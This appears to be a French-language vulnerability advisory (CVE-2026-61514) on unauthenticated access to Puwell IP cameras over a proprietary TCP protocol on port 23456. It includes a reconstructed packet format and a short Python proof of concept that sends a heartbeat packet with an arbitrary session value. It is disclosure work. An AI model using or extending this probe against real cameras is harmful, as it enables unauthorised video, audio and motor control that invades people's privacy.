background

CVE-2026-61514: Absence d'authentification sur le protocole de contrôle des caméras Puwell

Published 14 juillet 2026
CVSS 9.8
Puwell
IP Camera
v4.x
Executive summaryLe protocole propriétaire exposé sur le port TCP 23456 ne met en œuvre aucun mécanisme d'authentification. Un attaquant capable d'établir une connexion réseau avec l'équipement peut ainsi envoyer des paquets TCP spécialement conçus afin d'exécuter des commandes privilégiées, telles que le pilotage de la caméra (panoramique/inclinaison), l'activation des fonctions audio ou encore le redémarrage de l'appareil

Description

Les caméras Puwell testées exposent un service TCP propriétaire accessible sur le port 23456, utilisé pour le contrôle à distance de l'équipement. L'analyse de ce protocole montre qu'aucun mécanisme d'authentification ou de contrôle d'accès n'est mis en œuvre avant le traitement des commandes reçues. En conséquence, tout client capable d'établir une connexion avec ce service peut interagir directement avec l'appareil et invoquer les fonctionnalités exposées par le protocole.

Vecteurs d'attaque

  • Accès réseau : À distance
  • Authentification requise : Aucune
  • Interaction utilisateur : Aucune

Détails de la vulnérabilité

Tout attaquant en mesure d'établir une connectivité réseau avec l'équipement (par exemple depuis le même réseau local ou via le mécanisme de connectivité pair à pair du constructeur lorsqu'il est activé - UDP Hole Punching) peut communiquer directement avec le service TCP propriétaire sans disposer d'identifiants valides.

Le protocole traite les commandes privilégiées sans vérifier l'identité du client ni l'état de sa session. Il est ainsi possible de :

  • Accéder au flux vidéo en direct ;
  • Piloter les moteurs de panoramique et d'inclinaison de la caméra ;
  • Activer les fonctions audio ;
  • Eedémarrer l'appareil ;
  • Exécuter d'autres commandes du protocole propriétaire.

L'exploitation de cette faiblesse permet à un attaquant non authentifié d'accéder à l'ensemble des fonctionnalités exposées par le protocole de contrôle propriétaire et d'en prendre le contrôle.

L'analyse du firmware par rétro-ingénierie a permis de reconstituer la structure du protocole à partir des chaînes de débogage et des routines de traitement des paquets. Ces éléments révèlent le format des messages, la logique de traitement des codes d'opération (opcodes) ainsi que le décodage des données, rendant possible la reconstruction de messages conformes au protocole.

Les extraits suivants illustrent la manière dont les champs du protocole et les gestionnaires de commandes ont été identifiés :

Code décompilé montrant le traitement des opcodesFigure 1 : Code décompilé montrant le traitement des opcodes

Code décompilé montrant l'analyse du mode du protocoleFigure 2 : Code décompilé montrant l'analyse du mode du protocole

Fonction GPIO responsable du contrôle des moteurs de panoramique et d'inclinaisonFigure 3 : Fonction GPIO responsable du contrôle des moteurs de panoramique et d'inclinaison

Routine de validation décompilée montrant le traitement des commandes de panoramique et d'inclinaisonFigure 4 : Routine de validation décompilée montrant le traitement des commandes de panoramique et d'inclinaison

Le format reconstitué des paquets est présenté ci-dessous :

En-tête binaire du protocoleFigure 5 : En-tête binaire du protocole

Le champ Session présent dans l'en-tête du protocole n'est jamais vérifié et n'est associé à aucune session authentifiée. Par conséquent, n'importe quelle valeur est acceptée, sans qu'il soit nécessaire de négocier ou d'obtenir un identifiant de session valide avant l'envoi de commandes privilégiées.

Preuve de concept (PoC)

La preuve de concept Python ci-dessous montre que le service TCP exposé sur le port 23456 accepte et traite des messages conformes au protocole sans nécessiter d'authentification ni d'établissement préalable d'une session.

Codeimport socket
import struct

TARGET_IP = "192.168.2.42"

SESSION = 0xbadc0de0
FIELD = 0x02963ED5
OP_HEARTBEAT = 0x0001

def build_packet(opcode, payload):
    header = struct.pack("<IIII", 0xFFEEDDCC, opcode, SESSION, len(payload))
    return header + payload

payload = struct.pack("<II", 0, FIELD) + b"\x00" * 20

packet = build_packet(OP_HEARTBEAT, payload)

sock = socket.create_connection((TARGET_IP, 23456))
sock.sendall(packet)

response = sock.recv(1024)
print(response.hex())

sock.close()

Le paquet transmis respecte le format du protocole propriétaire implémenté par l'appareil.

La réception d'une réponse valide confirme que l'équipement traite les messages du protocole sans authentifier le client ni vérifier l'identifiant de session fourni. Une fois la communication établie, il est possible d'envoyer d'autres codes d'opération afin d'accéder aux fonctions privilégiées du dispositif, notamment le contrôle du panoramique et de l'inclinaison, des LED, de la lecture audio ainsi que le redémarrage de l'appareil. Ce comportement démontre l'absence totale de mécanismes d'authentification et de contrôle d'accès dans l'implémentation du protocole.

Risques et impacts

  • Accès non autorisé au flux vidéo en direct.
  • Activation non autorisée du microphone.
  • Prise de contrôle non autorisée du mécanisme PTZ (panoramique/inclinaison).
  • Exécution de commandes privilégiées du protocole propriétaire.
  • Atteinte à la confidentialité et à l'intégrité des fonctionnalités exposées par l'équipement.

Auteurs

  • Yassine Damiri
© 2023 Yassine Damiri. All Rights Reserved.
AboutPrivacy PolicyContact